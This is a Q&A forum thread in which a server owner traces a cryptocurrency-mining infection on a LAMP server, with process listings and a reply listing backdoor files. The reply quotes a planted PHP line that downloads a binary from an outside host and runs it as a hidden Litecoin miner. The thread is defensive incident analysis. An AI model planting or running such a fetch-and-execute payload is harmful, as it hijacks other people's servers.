1

I have a server that seems to be compromised checking the processes running I see an executable that seems to be a mining malware and the hacker uses it to mine litecoin at the address MKkb4o9jUYmcQRRkpJWK82mW2S1ZZMtaLg, the executable file is deleted from the server but I was able to recover it from the server's memory and run it through virustotal it seems it is a known malware.

Now I want to know how this executable got into my server, my server mainly runs a LAMP stack, running systemctl status apache2 reveals that the executable file was indeed run by the apache server

     Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2022-02-19 07:45:43 UTC; 1 weeks 1 days ago
       Docs: https://httpd.apache.org/docs/2.4/
   Main PID: 883 (apache2)
      Tasks: 245 (limit: 9447)
     Memory: 1.0G
     CGroup: /system.slice/apache2.service
             ├─    883 /usr/sbin/apache2 -k start
             ├─ 111220 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─ 132904 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─ 784132 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─1314543 ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1>
             ├─1518416 /usr/sbin/apache2 -k start
             ├─1518417 /usr/sbin/apache2 -k start
             ├─1518418 /usr/sbin/apache2 -k start
             ├─1521237 /bin/php-cgi7.4
             ├─1521238 /bin/php-cgi7.4
             ├─1521239 /bin/php-cgi7.4
             ├─1521240 /bin/php-cgi7.4
             ├─1521241 /bin/php-cgi7.4

since the apps on my server are all PHP scripts I assumed that one PHP script has an exploit (which I could be wrong about).

I want to track down which PHP file(if it is a PHP file) executed that binary? so that I can fix the exploit.

2
  • Does your PHP application offer any file upload capabilities, or calls to system()-like methods, or have libraries that do? Have you checked if your stack has any outstanding security patches? And so on...
    – msanford
    Feb 27 at 15:16
  • @msanford The script was not written by me nor have I used it before but I think it does offer a file upload functionality, nevertheless I don't just want to poke around the huge applications on the server which I'm sure I will find quite a few security issues in( i will definitely do that in the very near future), instead I want to pinpoint exactly which script was used in the attack and track down what I can(i.e try to track down starting from the process that is currently running on the server). Feb 27 at 15:59

1 Answer 1

1

I have the same problem. Try to find "dir" file on your public folder like /var/www/. In my case I found this on my laravel website, there are file looks like this on my "public" folder:

  • 175e93adasd.php
  • about.php
  • cmd.php
  • cok.php
  • dam.php
  • db.php
  • dir.php
  • galekjaya.php
  • galek.php
  • sabun.php
  • suw.php
  • unit.php
  • wikindex.php
  • wp-go.php
  • gas.sh
  • filene.txt
  • dir

There are file that contain backdoor and binary executable. SS from cok.php that contain this script:

raimuasu <?php system('curl -s --insecure http://moneyua.vip/dir -o dir; chmod +x dir; ./dir -a minotaurx -o stratum+tcps://stratum-eu.rplant.xyz:17063 -u MKkb4o9jUYmcQRRkpJWK82mW2S1ZZMtaLg.jajal -p password=jancok --no-longpoll -q --randomize --background > /dev/null'); $core = system('nproc');?>

enter image description here

2
  • Thanks, at the time of writing the question I had searched my server for out-of-place files and removed them, most of them are very similar in name to the ones you posted, but what I like to investigate is how these files reached my server. When big companies get hacked they often issue an announcement where they state if any of their user's data were stolen and what exactly was stolen and how did the hackers get into their servers, that's what I like to do;investigate the whole operation. May 9 at 16:27
  • In my analysis of the case, hackers entered through other people's websites that had vulnerabilities when my website was installed on shared hosting, so hackers could access and plant backdoors in various folders including my website. As far as I know, the hacker will attack the website with wordpress cms while my application uses the laravel framework, although it is possible that my own website was attacked. fyi, hackers use our server to do crypto mining. now, my website has been moved to vps because of this problem. May 11 at 6:38

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.